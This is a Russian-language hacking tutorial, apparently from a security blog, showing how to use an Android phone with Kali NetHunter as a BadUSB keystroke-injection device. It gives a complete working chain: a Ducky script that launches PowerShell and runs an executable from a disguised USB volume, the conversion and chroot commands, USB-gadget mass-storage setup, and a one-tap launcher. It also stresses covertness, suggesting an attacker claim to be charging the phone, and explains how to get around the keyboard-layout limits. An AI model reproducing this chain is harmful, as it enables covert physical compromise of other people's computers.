Вы наверное уже слышали про BadUSB. Раньше, когда речь шла о BadUSB на ум приходили исключительно устройства вроде флеш-накопителей. Но возможно ли использовать в качестве хакерской флешки BadUSB, смартфон на Андроид? Оказывается можно — используя Kali NetHunter, мобильной платформы для пентестеров. Сегодня я покажу, как превратить обычный смартфон в полноценный аналог «хакерской флешки».
Как работает BadUSB
О BadUSB мы рассказывали много раз. Как вы знаете, данный тип атаки позволяет за маленький промежуток времени выполнить действия на целевом компьютере.
Происходит это так: в разъем USB вставляется заранее подготовленная флешка или обычный кабель USB со встроенным микроконтроллером и с специальной прошивкой. Эти устройства определяются операционной системой как HID (Human Interface Device), например как обычная клавиатура. После этого по заранее написанному сценарию эмулируется ввод команд, как если бы их вводил обычный живой человек, сидящий за компом.
Это удобно если вы пентестер. Плюсы подобных хакерских девайсов очевидны.
- Не нужно садиться за комп и этим привлекать к себе внимание и вызывать подозрение. Достаточно просто вставить в компьютер обычную флешку или кабель.
- Скорость автоматического ввода команд с помощью хакерской флешки BadUSB намного выше, чем скорость ввода команд человеком.
Атака с автоматическим вводом текста посредством USB-флешки появилась раньше, чем сам термин BadUSB. В далеком 2010 году хакеры Hak5 представили небольшой гаджет в ввиде флешки — Rubber Ducky (резиновый утенок). Кстати, мы писали, как сделать Rubber Ducky своими руками.
Это было специальное устройство, которое напрямую никак не связано с темой BadUSB. Создатели Rubber Ducky создали специальный скриптовый язык, на котором можно было писать сценарии. Позже был создан создан сайт, на котором пользователи делились своими скриптами.
О других хакерских гаджетах, которые можно купить, вы можете прочитать в статье «Лучшие хакерские девайсы».
Как правило, применение Rubber Ducky и самодельных BadUSB сводится к получению удаленного доступа или получению паролей из системы. Школьниками используется избитая схема: залить на файлопомойку вредонос и запрограммировать BadUSB на его скачивание и выполнение.
В моем случае знакомство с BadUSB произошло при других обстоятельствах. Когда-то я установил на телефон Kali NetHunter. Среди богатого функционала NetHunter в ней также есть возможность выпопнять скрипты при подключении телефона к компу. Все это хорошо, но вариант с заливкой файлов куда‑то вовне мне не нравится, и я попробал усовершенствовать алгоритм атаки.
Используем смартфон как BadUSB
Для начала разберемся с ducky-скриптами. В NetHunter для этого существует целый раздел, но пользы от него не очень. Давайте, мы наладим самостоятельно запуск скриптов.
В директории /sdcard/nh_files/modules лежит утилита duckhunter.py, которая конвертирует скрипт в shell-скрипт. В свою очередь, shell-скрипт работает с программой hid-keyboard, которая непосредственно взаимодействует с HID-гаджетом /dev/hidg0, эмулирующим устройство ввода. Вот таким образом выглядит утиная команда STRING usb в сыром виде:
1 2 3 |
echo u | hid-keyboard /dev/hidg0 keyboard echo s | hid-keyboard /dev/hidg0 keyboard echo b | hid-keyboard /dev/hidg0 keyboard |
После запуска сконвертированного скрипта подключенный мобильник начнет вводить текст на компе.
Теперь давайте перейдем к части эмуляции флешки. В начале нам надо создать виртуальный образ, который нужно будет монтировать и на котором будут необходимые для запуска файлы. Образ создается командой:
1 |
dd if=/dev/zero of=demo.img bs=1M count=100 && sync |
Но надо еще форматнуть накопитель и задать метку тома. Лучше всего для этого подходит утилита DriveDroid.
Создайте в ней образ необходимого размера и смонтируйте в качестве сменного накопителя, отформатируйте его штатными средствами и задайте метку, например DEMOUSB. Скопируйте файл (для примера пусть он называется file.exe), который планируете запускать, в корень получившейся флешки.
Представлю свой вариант скрипта demo.txt, который будет определять букву смонтированного устройства с необходимой меткой и запускать с него файл.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
DELAY 100 CONTROL ESCAPE DELAY 2000 STRING powershell DELAY 500 ENTER DELAY 2500 STRING For ($i=0; $i -le 20; $i++) { ENTER STRING [string]$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label –eq 'DEMOUSB' } | select name ENTER STRING if($usbPath.Length -gt 7){[string]$letter = $usbPath.Substring(7,$usbPath.Length - 8) ENTER STRING cd $letter ENTER STRING ./file.exe ENTER STRING break}else {sleep(1)}} ENTER STRING exit ENTER |
Код очень простой и в комментариях не нуждается. Сконвертируем его в shell-формат:
1 |
python duckhunter.py demo.txt demo.sh –l us |
Получившийся .sh-файл мы будем запускать из chroot-окружения Kali:
1 |
chroot /data/local/nhsystem/kali-armhf sh /root/demo.sh |
Теперь осталось смонтировать наш образ demo.img следующими командами:
1 2 3 4 5 6 7 8 9 |
# Отключить read-only echo '0' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/ro # Установить тип устройства echo '1' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/removable # Указать пусть до образа, который следует смонтировать echo '/sdcard/demo.img' > /config/usb_gadget/g1/functions/mass_storage.0/lun.0/file sleep 1 # Устанавливаем свойство mass_storage для USB setprop sys.usb.config mass_storage,adb |
Весь получившийся код можно собрать в итоговый скрипт badusb.sh и положить в директорию:
1 |
/data/data/com.offsec.nethunter/files |
После чего зайти в NetHunter → Custom Commands и создать кнопку для запуска со следующим содержимым:
1 |
su –c /data/data/com.offset.nethunter/files/badusb.sh |
Теперь достаточно подключить телефон к компьютеру и нажать кнопку старта скрипта — запустится PowerShell, а в нем цикл ожидания подключения сменного носителя с заданной меткой и исполняемым файлом.
Я опустил некоторые элементарные шаги, ведь подобный сценарий использования атаки BadUSB предполагает достаточную теоретическую и практическую подготовку по юниксам.
На мой взгляд, телефон лучше справляется с этой задачей, чем свистки BadUSB. Всегда можно сказать, что заряжаешь телефон от первого попавшегося USB, к тому же на телефоне можно держать целый набор скриптов и запускать любой из них в произвольном порядке. Никакой возни с перепрошивкой!
В завершение хочу дать одну маленькую подсказку. Все команды нужно вводить при активной английской раскладке клавиатуры в системе. Если, к примеру, в момент проведения атаки будет установлен русский или любой иной язык, атака не сработает. На помощь приходят альтернативные коды, которые вводятся в комбинации с зажатой клавишей Alt и цифровым обозначением знака клавишами NumPad. Спасибо Intercepter!
Еще по теме: BadUSB Rubber Ducky своими руками